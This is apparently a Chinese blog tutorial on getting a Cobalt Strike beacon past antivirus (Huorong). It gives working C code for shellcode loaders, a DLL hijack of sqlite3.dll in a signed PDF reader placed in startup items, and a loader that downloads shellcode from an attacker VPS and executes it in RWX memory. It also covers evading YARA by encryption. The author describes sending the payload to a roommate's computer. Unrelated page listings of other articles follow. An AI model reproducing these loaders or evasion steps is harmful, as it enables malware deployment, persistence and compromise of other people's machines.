0x01 杀软拦截检测规则引导-DLL劫持上线

准备工具

cs
vs2019
dll劫持工具:https://bbs.pediy.com/thread-224408.htm
极速PDF:https://jisupdf.com/zh-cn/pdf-reader.html#reader

简单说明:

  1. 在火绒开启的时候,CS马会被杀。生成和准备执行时都会被杀(下图就是启动被杀)

  2. 考虑在开机启动项中添加一个恶意启动程序(1.exe),但是会因为1.exe程序没有签名而允许添加;故而cs马也不会被执行。

  3. 于是考虑添加一个有签名认证的程序(极速pdf.exe),通过dll劫持方式,使得在加载运行极速PDF的时候,执行恶意dll文件,绕过火绒,从而上线

复现:

通过cs生成一个payload

选择C和一个侦听器

生成一个paylaod.c文件(这是昨天生成的)

在vs2019中起一个项目,将payload.c中的信息复制粘贴过去

开始编辑:

#pragma comment(linker,"/section:.data,RWE")

/* length: 796 bytes */
unsigned char buf[] = "你的buf"; void main() {
_asm {
lea exa,buf
call exa
/// <summary>
/// 取buf地址,放到exa寄存器
/// 接着调用exa寄存器
///
/// buf是放在数据区的,buf的属性在p文件中是只读,不可以执行的
/// 需要显示的它执行,所以有语句
/// #pragma comment(linker,"/section:.data,RWE")
/// </summary>
}
}

接着开始运行,预期效果是,被火绒拦截不能上线,在关闭火绒的条件下生成成功,运行之后上线

接下来使用使用dll劫持工具,劫持极速pdf的sqlite3.dll

说明:
1. 将sqlite3.dll改成sqlite3Org.dll,原本程序还是会走sqlite.dll(稍后生成),通过sqlite3.dll进行上线,同时进入sqlite3Org.dll保证程序功能正常
2. 工具有问题不能生成sqlite3.cpp,但是可以把右边的文件cv到sqlte3.cpp

再接下来,依旧关闭火绒,在vs2019中生成一个dll文件;

默认创建就好;

用sqlite3.cpp的内容,覆盖掉dllmain.cpp文件,并且添加#include "pch.h"

然后在下边的入口点进行加载

	unsigned char buf[] = "你的buf";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//利用win32内存分配函数分配内存,用PAGE_EXECUTE_READWRITE设置内存也属性为读写
memcpy(exec, buf, sizeof(buf));//分配好内存之后,将buf内容拷贝到内存中
CreateThread(0, 0, LPTHREAD_START_ROUTINE(exec),0,0,0); //创建shellcode线程,将buf的修改为线程类型
//前两个参数默认为0就行,然后给可执行内存的地址,因为目前只是地址将其转换为线程函数,它没有参数,所以其它的给0

选择realse模式,然后生成

将sqlite3.dll命名为sqliteOrg.dll,再将release中的dll1.dll重命名为sqlite3.dll

接着开启火绒

这一开火绒就把之前生成的那个预期上线的exe杀了;

返回cs,

点击极速pdf.exe

上线成功

总结:

1.在启动项中加一个被劫持dll的有签名的软件,这样可以绕过防火墙
2.在生成恶意dll文件时,还是需要关闭防火墙,虽然在创建的时候会被杀,但是创建好了,在劫持的时候不会被杀 3.但是晚上开了个PDF文件,恰好用极速pdf打开,被拦截了
4.但是,重新生成,打开火绒,点击pdf文件,上线了。。。。

0x02 yara规则匹配

工具准备

yara git:https://github.com/virustotal/yara/releases/tag/v4.2.3
规则 https://zhuanlan.zhihu.com/p/361359544
IDA,由于没找到IDA复现不算圆满

简单demo

恶意代码规则:https://github.com/Yara-Rules/rules

总结

1. 匹配特征值(用IDA找特征值,通过特征值进行匹配)
2. 绕过:将数据进行加密,使用时进行动态解密(基于yara的匹配都是黑名单)

0x03 远程加载shellcodeBypass

简单说明

将shellcode放到服务器,通过socket,或者是windows库提供的http库下载下来,加载到内存中运行,将shellcode放到其他地方,可以绕过大部分杀软

复现

在DLL劫持的时候,生成了一个paylaod.c文件;将payload.c文件复制粘贴重命名为shellcode.c文件,并且,将shellcode.c文件中的除字符内容删除,如图:

将shellcode.c文件上传到vps中,确保能够访问

接下来在vs2019中起一个项目,将下列代码粘贴到源文件.cpp

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib,"WinInet.lib") char* GetUrlPage(const char* URL, const char* SubPath) { HINTERNET hInternet, hConnect, hRequest = NULL;
DWORD dwOpenRequestFlags, dwRet = 0;
unsigned char* pResponseHeaderIInfo = NULL;
DWORD dwResponseHeaderIInfosize = 2048;
BYTE* pBuf = NULL;
DWORD dwBufSize = 64 * 2048; hInternet = InternetOpenA("WinInerGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hConnect = InternetConnectA(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL == hConnect)
return NULL; dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD; hRequest = HttpOpenRequestA(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
HttpSendRequest(hRequest, NULL, 0, NULL, 0); pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfosize];
RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfosize);
HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfosize, NULL);
pBuf = new BYTE[dwBufSize];
RtlZeroMemory(pBuf, dwBufSize);
InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
return(char*)pBuf;
} void main() {
char* shellcode = GetUrlPage("vps_ip", "/shellcode.c");
printf("%s in", shellcode);
int shellcode_length = strlen(shellcode);
unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
for (size_t count = 0; count < shellcode_length/2; count++) {
sscanf_s(shellcode,"%2hhx",&value[count]);
shellcode += 2;
}
void* exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec,value,shellcode_length / 2);
((void(*)())exec)();
}

接着,针对生成的exe文件用火绒杀毒

双击exe文件,上线主机成功

总结

加载vps中的恶意代码到本机来执行
嘶,直接把exe发舍友电脑了,但是被definder拦截了,并且执行还报dll缺失的错误
https://blog.csdn.net/weixin_45981481/article/details/113524640
在vs2019中下插件搞,但是依旧不行,哇,难受啊
吐了今天走的弯路属于是走到姥姥家了,先是报不可识别,一个一个排除了中文编码,又开始排大小写变量名,接着是格式错误,然后是gcc,g++编码报错,紧接着使用devcpp来编译,依旧报错,加了个命令之后倒是解决了,但是上不了线,是真的难受,而且下插件又步骤多;最后是放弃了,vs2019的插件打包出来的还是不能上线,也有可能是我打包错了,要是有师傅会的话,踢我一脚,我就来学

全篇总结

目前先写两个简单案例,学汇编去了,不懂汇编,什么hook,什么脱钩,都不懂
果然汇编是绕不过的;
还是得多交流,不交流不行,学什么,怎么学,要什么基础都不知道,怎么学?
还有就是别听说难学,有层心理障碍很是南蚌

00-DLL劫持&C语言远程加载shellcode的更多相关文章

  1. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  2. 在Unity中创建可远程加载的.unity3d包

    在一个Unity项目中,发布包本身不一定要包括所有的Asset(译为资产或组件),其它的部分可以单独发布为.unity3d,再由程序从本地/远程加载执行,这部分不在本文讨论范围.虽然Unity并没有直 ...

  3. Ext2.0之Tabpanel AJAX远程加载多标签页面模式开发技巧

    目前开发的方式是采用远程load页面来实现多页面效果,类似于126邮箱多标签页效果.但是比126邮箱的方式更好,因为页面打开后是load到本地的,126似乎还会重新请求.在近期项目该开发方式已经基本成 ...

  4. CSS远程加载字体

    CSS 远程加载字体的方法,做网站CSS的都知道,用户浏览网站时,网页上的字体是加载本地的.换言之,如果网站使用了用户电脑所没有安装的字体,那显示字体就会被默认字体所代替了,自然效果就大受影响了. 上 ...

  5. bootstrap模态框远程加载网页的正确处理方式

    bootstrap模态框远程加载网页的方法 在bootsrap模态框文档里给出了这个方法: 使用链接模式 <a data-toggle="modal" href=" ...

  6. Bootstrap Modal 使用remote从远程加载内容

        Bootstrap的Modal这个模态窗组件还是很好用的,但在开发的过程中模态窗中的内容大部分都是从后端加载的.要实现模态窗的内容是从后端加载话,常用的实现方式有2种.它们是:     (1) ...

  7. DLL动态库多次加载问题

    原因涉及DLL加载和运行机制,主要有两点:1)DLL动态链接库无法独立运行,必须由一个应用程序进程加载到进程空间后才能使用.加载DLL的进程称为宿主进程.被加载的DLL属于宿主进程,不属于宿主进程内某 ...

  8. 钓鱼攻击之远程加载恶意Word模版文件上线CS

    0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...

  9. Python内存加载shellcode

    生成 首先生成一个测试的msf shellcode msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使 ...

  10. 建立WIN32 DLL,并使用静态加载和动态加载

    新建工程,选择win32 dll 编写.cpp(或.c) MyDll.cpp #include "windows.h" BOOL APIENTRY DllMain(HANDLE h ...

随机推荐

  1. DRF认证流程及源码分析

    认证 前言 用户验证用户是否合法登陆. 部分内容在DRF视图的使用及源码流程分析讲解,建议先看讲解视图的这篇文章. 使用流程 认证使用的方法流程如下: 自定义认证类,继承BaseAuthenticat ...

  2. 关于虚拟机使用桥接网络访问不到物理机IP的问题解决

    问题描述 物理机可以ping 到虚拟机IP,虚拟机 ping 不到物理机IP 解决方法 关闭物理机防火墙,重启虚拟机

  3. 安装mySql 出现 one more product requirements have not been satisified

    安装mySql 出现 one more product requirements have not been satisified 原因是缺少一些依赖环境. 在弹出的对话框中点击 否. 然后点击执行, ...

  4. day10 集合——队列(Queue)、Vector & Map集合常用方法 & HashMap的实现原理&二叉树&二叉查找树AVL树&红黑树

    集合--List 栈先进后出 队列 先进先出 Queue队列 方法 Queue<Integer> q = new LinkedList<>(); //添加元素 q.add(2) ...

  5. 谈谈我的「数字文具盒」 - NextCloud

    接下来两篇主要谈论 Nextcloud 和 Obsidian,因为篇幅较长,所以单出罗列出来.本文主要介绍 Nextcloud 以及使用中的技巧和心得体会. Nextcloud Nextcloud 是 ...

  6. bug处理记录:Error running 'WorkflowApplication': Command line is too long. Shorten command line for WorkflowApplication or also for Spring Boot default configuration?

    1.报错信息 Error running 'WorkflowApplication': Command line is too long. Shorten command line for Workf ...

  7. Qt大型工程开发技术选型Part3:Qt调用C#编写的COM组件实例

    Qt大型工程开发技术选型Part3:Qt调用C#编写的COM组件实例以及错误总结 ok,前面铺垫了那么多,现在来写一个开发实例,我会把其中隐藏的坑和陷阱简单谈谈,并在文章最后总结. 不愿意看长篇大论的 ...

  8. 【转载】MSSQL汉字首字母查询处理自定义函数

    -- 汉字首字母查询处理用户定义函数 CREATE FUNCTION f_GetPY(@str nvarchar(4000)) RETURNS nvarchar(4000) AS BEGIN DECL ...

  9. 《Effective C++》实现 章节

    Item26:尽可能延后变量定义式的出现时间 Item27:尽量少做转型动作 关于这一点,专门开了一个新的总结: http://blog.csdn.net/m0_37316917/article/de ...

  10. CodeForces 构造题专项解题报告

    CodeForces 构造题专项解题报告 \(\newcommand \m \mathbf\)\(\newcommand \oper \operatorname\) \(\text{By DaiRui ...